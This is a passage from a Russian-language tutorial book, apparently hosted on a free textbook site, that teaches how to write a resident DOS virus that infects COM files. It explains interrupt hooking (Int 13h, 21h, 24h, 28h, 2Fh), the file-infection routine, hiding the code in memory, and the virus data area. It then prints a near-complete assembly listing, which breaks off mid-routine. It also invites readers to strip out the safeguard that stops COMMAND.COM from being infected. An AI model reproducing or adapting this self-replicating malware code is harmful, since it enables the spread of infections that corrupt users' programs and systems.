Компьютерные науки - Учебники на русском языке - Скачать бесплатно

Сразу за меткой " infect " мы записали команды ко-
торые корректируют содержимое DS при работе в ре-
зидентном режиме .Если этого не сделать, то отно-
сительный адрес каждой ячейки памяти придется уме-
ньшать на 110h ( см п. 2.5 ).Далее вирус проверяет
значение переменной "tg_13h" .Дело в том,что рези-
дентный вирус обязательно должен заражать файлы,
находясь в памяти, и поэтому без обращения к диску
в резидентном режиме нам не обойтись.Такое обраще-
ние, естественно, должно происходить только в те
моменты,когда никакие другие программы не работают
с диском .Если это условие не соблюдается, непре-
менно возникнет программный конфликт, что приведет
к неприятным последствиям .Особенно это относится
к тем случаям,когда на машине установлен какой-ни-
будь кэш ( например, SMARTDRIVE или HYPERDISK ) .
В этом случае может случиться так, что вирус и кэш
попробуют обратиться к диску одновременно, а это
недопустимо !
Решить проблему помогает введение переменной "tg_
13h" .Она принимает значение " 1 ", когда к диску
выполняется обращение, или значение " 0 ", если в
данный момент обращения к диску нет.Для инициали-
зации переменной используется специальный "фильтр"
прерывания Int 13h, который будет описан ниже .
Итак, если " tg_13h " равна " 1 ",вирус возвращает
управление прерванной программе,в противном случае
работа вирусного кода продолжается .


2.14 Заражаем COM - файл

В случае, если прерывание Int 13h не выполняется,
можно заняться поиском подходящего COM - файла и
его заражением.Этот процесс практически не отлича-
ется от действий нерезидентного вируса, и поэтому
мы просто используем разработанный ранее блок, не
останавливаясь подробно на его работе :

all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )

mov bp,bx

mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta

find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta

retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta

retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name

xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name

check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1

mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta

save_bytes: ;Считаем первые
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size
jmp cs:close

found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...

count_size:mov si,ax ;Вычислим
;смещения ...
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah

mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close

read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close

cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next

write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close

mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
;И остальную
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close

write_bytes: ;Запишем первые
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close

mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h

close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл

restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh

Как видите, в созданный ранее фрагмент были внесе-
ны некоторые изменения, в которых мы сейчас и раз-
беремся .
Поскольку вирус будет заражать файлы в резидентном
режиме,он будет пользоваться DTA активной в данный
момент программы,что приведет к ее разрушению.Что-
бы этого не происходило, нужно сохранить ее в об-
ласти данных вируса, а после завершения работы ви-
руса - восстановить.Получить адрес текущей DTA мо-
жно с помощью функции DOS 2Fh, которая и использу-
ется вирусом .
Следующее отличие - наш вирус проверяет,является -
ли найденный файл командным процессором COMMAND.
COM .Для этого используется процедура SEARCH,кото-
рая возвращает INSIDE = 1, если найден командный
процессор, или INSIDE = 0 - в противном случае .
Так как иногда COM-файлы на самом деле имеют EXE -
формат, их размер может превышать 64 Кбайта,и сле-
дует проверить, не является - ли найденный нами
файл именно таким, иначе при заражении он будет
безнадежно испорчен .С этой целью вирус считывает
из DTA слово по смещению 01Ch, и сравнивает его
с нулем .Если это слово равно нулю,размер файла не
превышает 64 Кбайт,и его можно заражать .Кроме то-
го,неплохо было бы проверить формат файла.Для это-
го нужно проверить его первые два байта. Если мы
имеем дело с EXE - файлом, то указанные байты со-
держат ASCII - коды символов " M " и " Z ". Думаю,
читатель сам при желании допишет несколько необхо-
димых для этого команд.
И последнее - мы выяснили,( см. п. 2.5) что первы-
ми двумя байтами,которые должны записываться в ко-
нец файла, должна быть команда перехода на секцию
инициализации вируса .Эту функцию выполняют коман-
ды,записанные за меткой " write_vir " .Сам код ко-
манды перехода хранится в области " end_file " .

*
Не спешите торжествовать по поводу того, что ав-
тор этой книги не смог сделать вирус, заражающий
COMMAND.COM, и поэтому, вероятно, является "чай-
ником". На самом деле вирус отлично работает с
командным процессором и при этом не глюкует. За-
щита введена только для вашего же блага, так как
заражение COMMAND.COM " нестандартным " вирусом
- крайне неприятное событие. Подготовленный чи-
татель без труда снимет такую " защиту ".


2.15 Восстанавливаем регистры

Перед тем, как передать управление прерванной про-
грамме,необходимо восстановить значения регистров,
которые имели место при получении управления рези-
дентной программой :

exit_zarasa: ;Восстановим
;регистры
;процессора ...
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
mov ss,cs:ss_save-110h ;Восстановим
mov sp,cs:sp_save-110h ;стек ...
iret

Кроме того, вирус восстанавливает стек прерванной
программы, без чего дальнейшая работа невозможна .


2.16 Пишем обработчики прерываний

Для начала выясним, какие прерывания и с какой це-
лью наш вирус будет перехватывать .
Во - первых, необходимо перехватить прерывание Int
21h .Дело в том, что наш вирус является резидент-
ным, и должен заражать файлы при тех или иных со-
бытиях в вычислительной системе.Очень многие виру-
сы активизируются, например,при смене текущего ди-
ска или каталога .Этот метод является весьма удач-
ным, и мы реализуем именно его .Но для этого нужно
знать, когда именно выполняются смена каталога или
диска.Единственный способ узнать о таком событии -
это перехватить прерывание Int 21h на себя, и при
каждом его вызове проверять, какая именно функция
вызывается . Так мы и сделаем .
Во - вторых, нам не обойтись без перехвата Int 13h
( см п. 2.13 ) .
В - третьих,поскольку наш вирус будет пользоваться
функциями DOS,которые работают с диском в резиден-
тном режиме,необходимо знать,когда можно безопасно
обращаться к этим функциям . Для этого следует
перехватить прерывание Int 28h,которое всегда вы-
зывается только при выполнении DOS реентерабельной
секции своего кода .Иными словами, при возникнове-
нии прерывания Int 28h можно смело пользоваться
любыми функциями DOS .
Далее, для проверки наличия вирусного кода в памя-
ти наш вирус будет использовать так называемое
мультиплексное прерывание - Int 2fh, и поэтому мы
должны перехватить и его ( см п. 2.7 ) .
И, наконец, мы должны написать обработчик критиче-
ской ошибки .Она возникает,например,если мы попы-
таемся записать информацию на вынутую из дисковода
дискету . Наш вирус должен перехватить прерывание
по критической ошибке ( Int 24h ) и выполнить его
обработку .


2.17 Обработчик Int 13h

Как мы уже выяснили, этот обработчик должен запи-
сывать в ячейку " tg_13h " значение " 1 ", если в
данный момент выполняется прерывание Int 13h, или
значение " 0 " - в противном случае .
К сожалению,в MS DOS отсутствует какое - либо сре-
дство, позволяющее узнать, когда именно активно
прерывание Int 13h .И поэтому единственный способ
решения этой задачи - установка на Int 13h так на-
зываемого " фильтра ", который отслеживал бы все
вызовы вышеуказанного прерывания .
Самое простое решение - это перехватить Int 13h на
себя,а в самом обработчике вызвать системный обра-
ботчик как дальнюю процедуру .Конечно, перед этим
нужно записать в " tg_13h" единицу - это будет ин-
дикатором выполнения Int 13h в данный момент .Ко-
гда системный обработчик выполнится, управление
вновь получит " фильтр ".Поскольку Int 13h уже вы-
полнилось, можно сбросить в "0" переменную tg_13h.
Итак :

; _______________________________________________
;| |
;| Напишем новые обработчики INT 13h, INT 21h, |
;| INT 24h и INT 2fh ... |
;|_______________________________________________|

to_new_13h equ $-vir

new_13h: jmp cs:start_13h

tg_13h db 0
ax_13h dw 0
cs_13h dw 0
ip_13h dw 0

start_13h: mov cs:tg_13h - 110h,1
pushf
db 9ah ;Код команды
old_13h dw 0 ; " CALL " ...
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим новый
pop ax ;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF )
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov ax,cs:cs_13h - 110h
push ax
mov ax,cs:ip_13h - 110h
push ax
mov ax,cs:ax_13h - 110h
mov cs:tg_13h - 110h,0
iret

Здесь константа " to_new_13h " показывает смещение
от начала вирусного кода до начала обработчика .
Хотелось бы обратить ваше внимание на одну особен-
ность .Она состоит в том, что прерывания Int 21h и
Int 13h возвращают в регистре AX код ошибки,а бит
CF регистра флагов используется как индикатор этой
ошибки .
Пусть, например, при получении фильтром управления
бит CF имел значение FLAG 1, а регистры CS и IP
имели значения CS 1 и IP 1.Тогда команда " pushf "
занесет значение FLAG 1 в стек .Команда "call" по-
местит в стек значения CS 1 и IP 1,после чего уп-
равление получит системный обработчик .Этот обра-
ботчик занесет в стек значение FLAG 2, и при своем
завершении выполнит команду "iret" .Команда "iret"
снимет с вершины стека значения IP 1,CS 1 и FLAG2.
Теперь уже наш фильтр сбросит в " 0 " переменную
" tg_13h ",и командой " iret " передаст управление
прерванной программе .Но дело в том, что эта кома-
нда извлечет из стека значения IP и CS, которые
имели место в момент вызова прерывания Int 13h, а
также регистр флагов FLAG 1 .Таким образом,из сте-
ка будет извлечен FLAG 1 вместо FLAG 2 !Чтобы это-
го не произошло, мы должны поместить в стек FLAG 2
вместо FLAG 1 . Именно для этого предназначены ко-
манды,записанные после ячейки " old_13h_2 ".Работа
этих команд особых пояснений не требует .Мы просто
" добираемся " до нужной ячейки в стеке, последо-
вательно считывая предшествующие .Можно, конечно,
написать более эффективный фрагмент,зато выбранный
нами метод достаточно прост .


2.18 Обработчик Int 21h

Рассмотрим теперь создание обработчика прерывания
Int 21h .Как мы договорились, он должен помещать
" единицу " в ячейку " tg_infect ", если DOS вы-
полняет смену текущего каталога или диска ( см п.
2.5 ) .Поэтому напишем " фильтр ", который будет
проверять, какая именно функция DOS вызвана в тот
или иной момент :

;-------------------------------------------------

to_new_21h equ $-vir

new_21h: jmp cs:start_21h

tg_infect db 0

start_21h: pushf
push di
push es
xor di,di ;Перехват
mov es,di ;INT 24h в рези-
mov di,90h ;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh ;Активизировать
;вирус ?
jne cs:new_cmp_1
mov cs:tg_infect-110h,1;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh
jne cs:to_jump
mov cs:tg_infect - 110h,1
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
old_21h dw 0 ;рый обработчик
old_21h_2 dw 0 ;INT 21h ...

Поскольку при вызове функции DOS в регистре AH за-
дается ее номер,достаточно просто проанализировать
его и " выловить " нужные значения.Наш вирус будет
реагировать на смену текущего каталога (AH=03Bh),и
смену текущего диска (AH=0Eh) .Эти числа и пытает-
ся обнаружить " фильтр " .
Далее - так как нам нужно всего лишь определить,
какая функция DOS вызвана, нет смысла после завер-
шения системного обработчика передавать управление
обратно в " фильтр " .По этой причине отпадает не-
обходимость сложных " манипуляций " со стеком, ко-
торые мы проделывали в предыдущем пункте .
Помимо решения своей конкретной задачи, написанный
нами обработчик используется для перехвата преры-
вания Int 24h.Делается это прямым обращением к та-
блице векторов прерываний . Так же перехватывает
прерывания и секция инициализации при установке
вируса в память .Правда, вы можете спросить, зачем
потребовалась такая сложная методика перехвата,
и почему бы не выполнить его в секции инициализа-
ции ? Дело в том, что такой прием будет "работать"
только в MS DOS .WINDOWS 95, например, постоянно
восстанавливает вектор Int 24h, что делает бессмы-
сленным изменение вектора " только один раз ".Тру-
дно сказать, зачем в WINDOWS 95 принято восстанав-
ливать вектор .Вероятно, это сделано для надежно-
сти работы системы .При создании резидентного EXE-
вируса мы поговорим еще об одной " странности "
этой популярной операционной системы,которая поме-
шает нам сделать вирусную программу " невидимой "
для антивирусных средств .


2.19 Обработчик Int 24h

Этот обработчик должен устанавливать собственную
реакцию на критическую ошибку .Вызывается он очень
редко,поэтому просто сделаем так,чтобы при появле-
нии ошибки не происходило " зависание " .Для этого
достаточно вернуть управление прерванной програм-
ме,поместив предварительно в регистр AL код " 3 ":

;-------------------------------------------------

to_new_24h equ $ - vir

new_24h: mov al,3 ;Вернем програм-
iret ;ме управление


2.20 Обработчик Int 2Fh

Напишем обработчик Int 2Fh . Мы договорились испо-
льзовать это прерывание для проверки наличия виру-
са в памяти .
Напомним,что секция инициализации для решения ука-
занной задачи вызывает Int 2Fh c такими параметра-
ми :

AX = 0F000h
BX = 01997h .

Если вирус уже инсталлирован в память,его обработ-
чик должен вернуть AL = 0FFh, это значение и ана-
лизирует секция инициализации при запуске заражен-
шой программы . Исходя из всего сказанного, можно
написать такой фрагмент :

;-------------------------------------------------
to_new_2fh equ $ - vir

new_2fh: pushf
cmp ax,0f000h
jne cs:not_our
cmp bx,1997h
jne cs:not_our
mov al,0ffh
popf
iret

not_our: popf
db 0eah
old_2fh dw 0
old_2fh_2 dw 0

Если вызывается прерывание Int 2Fh с параметрами,
отличными от AX = 0F000h и BX = 01997h, вирусный
обработчик просто возвращает управление системно-
му . В противном случае управление передается пре-
рванной программе, причем в этом случае AL будет
равно 0FFh.


2.21 Обработчик Int 28h

Строго говоря, мы его уже написали ( см. п. 2.5 ,
п. 2.6 и т.д. ).Именно он занимается поиском и за-
ражением файлов,пользуясь для этого функциями DOS.
Но так как эти функции используются тогда, когда
активно прерывание Int 28h, ничего страшного про-
изойти не должно .


2.22 Область данных вируса

Теперь мы можем привести все данные, с которыми
работает наш вирус :

;/***********************************************/

;Data area

old_bytes db 0e9h ;Исходные три
dw vir_len + 0dh ;байта ...

dta_save db 128 dup (0) ;Массив для DTA

maska db '*.com',0 ;Маска для поис-
;ка ...

fn db 12 dup (' '),0 ;Место для имени
;файла

new_bytes db 0e9h ;Код команды
;" JMP ..."
db 00h ;HIGH
db 00h ;LOW
;Он записывается
;в файл вместо
;первых трех
;байт ...

end_file db 0ebh ;Первые два бай-
db push_len ;та вируса в
;файле (команда
;перехода на се-
;кцию инициали-
;зации ...

ss_save dw 0 ;Буфера для SS
sp_save dw 0 ;и SP ...

help_word dw 0 ;Промежуточная
;ячейка .

com_com db 'COMMAND' ;Имя командного
;процессора ...

inside db 0 ;Ячейка - инди-
;катор ...

last db 0 ;Последний байт

to_newstack equ $ - vir ;Смещение к сте-
;ку ...
newstack dw 70 dup ( 0 ) ;Новый стек ...


2.23 Процедура идентификации COMMAND.COM

Приведем текст процедуры, которой пользуется наш
вирус. Эта процедура проверяет,является - ли най-
денный нами файл командным процессором COMMAND.COM
и возвращает INSIDE = 1, если был найден именно
командный процессор .
Итак :

;-------------------------------------------------

search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
lea si,com_com
mov cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp

Работа процедуры достаточно ясна и в комментариях
не нуждается .


2.24 Завершаем программу

В принципе, завершить эту программу можно так же,
как и предыдущую :

db '1' ;Последний байт
;вируса в файле
vir_len equ $-vir ;Длина вируса в
;байтах ...
vir_par equ ( $-vir + 0fh ) / 16
;И в параграфах

prg_end: mov ax,4c00h ;Выход в DOS
INT 21H ;только для за-
;пускающей прог-
;раммы ...

db '1' ;И ее последний
;байт ...

prg ends ;Стандартное
end start ;" окончание "
;ASM - программы

Единственное отличие заключается в том, что по-
требовалось ввести константу " vir_par ".Она нужна
для расчета необходимой длины блока памяти при ин-
сталляции вируса и в некоторых других вычислениях.


2.25 Текст резидентного COM - вируса

Теперь мы можем привести полный текст резидентной
программы - вируса :

; _______________________________________________
;| |
;| COM TSR virus |
;| Especially for my readers |
;|_______________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

start: jmp vir

org 110h
;С метки " vir "
;фактически на-
;чинается обра-
;ботчик Int 28h

vir: db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .

pushf
cmp cs:tg_infect-110h,1;Активизиро-
;ваться ?
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
;Нет - вызовем
;старый обработ-
;чик INT 28h,
;чтобы не топить
;другие TSR ...
iret

vir_2: popf ;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
pushf ;Сохраним в сте-
push ax ;ке регистры ...
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
;жению файлов
push_len equ $-vir - 2

mov ax,ds ;Корректируем DS
;для нерезидент-
;ной работы ...
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax

mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes

cmp al,0ffh
jne free_mem ;Нет -
;устанавливаем

fresh_bytes: ;Восстанавливаем
mov al,old_bytes ;первые три бай-
;та зараженной
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
mov ax,cs ;Восстанавливаем
;сегментные
mov es,ax ;регистры ...
mov start_cs,ax
mov ds,ax
jmp cl_conv_1 ;Передаем управ-
cl_conv_1: db 0eah ;ление заражен-
dw 100h ;ной программе
start_cs dw 0

free_mem: mov ah,4ah ;Определим объем
;доступной памя-
;ти ...
mov bx,0ffffh ;Заведомо невоз-
int 21h ;можное значение
;(0ffffh) !

; _______________________________________________
;| Закажем свободный блок памяти,чтобы можно было|
;| записать в него резидентную часть вируса ... |
;|_______________________________________________|

sub bx,vir_par + 2 ;Оставим вирусу
;на 2 параграфа
;больше, чем
;он сам занимает
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...

mov ah,48h ;Попросим DOS
;отдать свобод-
;ный блок нам .
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes

; _______________________________________________
;| Теперь свободный блок памяти найден |
;| ( сегментный адрес в AX ), и |
;| нужно записать в него код вируса ... |
;|_______________________________________________|

xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx

mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx

mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx

mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx

mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti

mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе

mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy

xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h

mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh

mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h

mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti

jmp fresh_bytes ;Установка
;завершена ...

infect: push cs
pop ds

mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax

cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход

all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )

mov bp,bx

mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta

find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta

retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta

retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name

xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name

check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1

mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta

save_bytes: ;Считаем первые
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size jmp cs:close

found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...

count_size:mov si,ax ;Вычислим
;смещения ...
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah

mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close

read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close

cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...